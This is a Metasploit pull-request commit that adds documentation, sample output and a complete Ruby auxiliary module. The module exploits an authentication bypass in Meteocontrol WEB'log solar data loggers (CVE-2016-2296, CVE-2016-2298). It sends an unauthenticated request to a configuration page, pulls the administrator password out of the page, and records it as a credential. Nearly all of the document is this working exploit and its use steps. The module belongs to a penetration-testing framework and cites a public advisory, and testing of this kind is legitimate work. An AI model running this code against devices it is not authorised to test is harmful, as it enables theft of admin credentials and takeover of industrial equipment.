Land rapid7#7790 an aux module to extract Meteocontrol Weblog admin password

Author: h00die

documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md

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+Meteocontrol WEB'Log Data Loggers are affected with an authentication bypass vulnerability. The module exploits this vulnerability to remotely extract Administrator password for the device management portal.
+
+Note: In some versions, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Manual verification will be required in such cases.
+
+## Verification Steps
+
+1. Do: ```use auxiliary/scanner/http/meteocontrol_weblog_extractadmin```
+2. Do: ```set RHOSTS [IP]```
+3. Do: ```set RPORT [PORT]```
+4. Do: ```run```
+
+## Sample Output
+
+  ```
+msf > use auxiliary/scanner/http/meteocontrol_weblog_extractadmin
+msf auxiliary(meteocontrol_weblog_extractadmin) > set rhosts 1.2.3.4
+msf auxiliary(meteocontrol_weblog_extractadmin) > run
+
+[+] 1.2.3.4:8080 - Running Meteocontrol WEBlog management portal...
+[*] 1.2.3.4:8080 - Attempting to extract Administrator password...
+[+] 1.2.3.4:8080 - Password is password
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+  ```

modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb

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+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name' => 'Meteocontrol WEBlog Password Extractor',
+      'Description' => %{
+          This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances (software version < May 2016 release) to extract Administrator password for the device management portal.
+      },
+      'References' =>
+        [
+          ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01'],
+          ['CVE', '2016-2296'],
+          ['CVE', '2016-2298']
+        ],
+      'Author' =>
+        [
+          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
+        ],
+      'License' => MSF_LICENSE))
+
+    register_options(
+      [
+        Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly.
+      ], self.class
+    )
+  end
+
+  def run_host(ip)
+    unless is_app_metweblog?
+      return
+    end
+
+    do_extract
+  end
+
+  #
+  # Check if App is Meteocontrol WEBlog
+  #
+
+  def is_app_metweblog?
+    begin
+      res = send_request_cgi({
+        'uri' => '/html/en/index.html',
+        'method' => 'GET'
+      })
+
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
+      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
+      return false
+    end
+
+    if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?('IS2 Web Server') || res.body.include?("WEB'log")))
+      print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
+      return true
+    else
+      print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
+      return false
+    end
+  end
+
+  #
+  # Extract Administrator Password
+  #
+
+  def do_extract()
+    print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...")
+    begin
+      res = send_request_cgi({
+          'uri' => '/html/en/confAccessProt.html',
+          'method' => 'GET'
+      })
+
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
+      return
+    end
+
+    if (res && res.code == 200 && (res.body.include?('szWebAdminPassword') || res.body=~ /Admin Monitoring/))
+      get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
+      if get_admin_password[1]
+        admin_password = get_admin_password[1]
+        print_good("#{rhost}:#{rport} - Password is #{admin_password}")
+        report_cred(
+          ip: rhost,
+          port: rport,
+          service_name: 'Meteocontrol WEBlog Management Portal',
+          password: admin_password,
+          proof: res.body
+        )
+      else
+        # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Check login manually on http://IP:port/html/en/confAccessProt.html for the szWebAdminPassword field's value.
+        print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.")
+      end
+    else
+      print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.")
+    end
+  end
+
+  def report_cred(opts)
+    service_data = {
+      address: opts[:ip],
+      port: opts[:port],
+      service_name: opts[:service_name],
+      protocol: 'tcp',
+      workspace_id: myworkspace_id
+    }
+
+    credential_data = {
+      origin_type: :service,
+      module_fullname: fullname,
+      username: opts[:user],
+      private_data: opts[:password],
+      private_type: :password
+    }.merge(service_data)
+
+    login_data = {
+      last_attempted_at: Time.now,
+      core: create_credential(credential_data),
+      status: Metasploit::Model::Login::Status::SUCCESSFUL,
+      proof: opts[:proof]
+    }.merge(service_data)
+
+    create_credential_login(login_data)
+  end
+end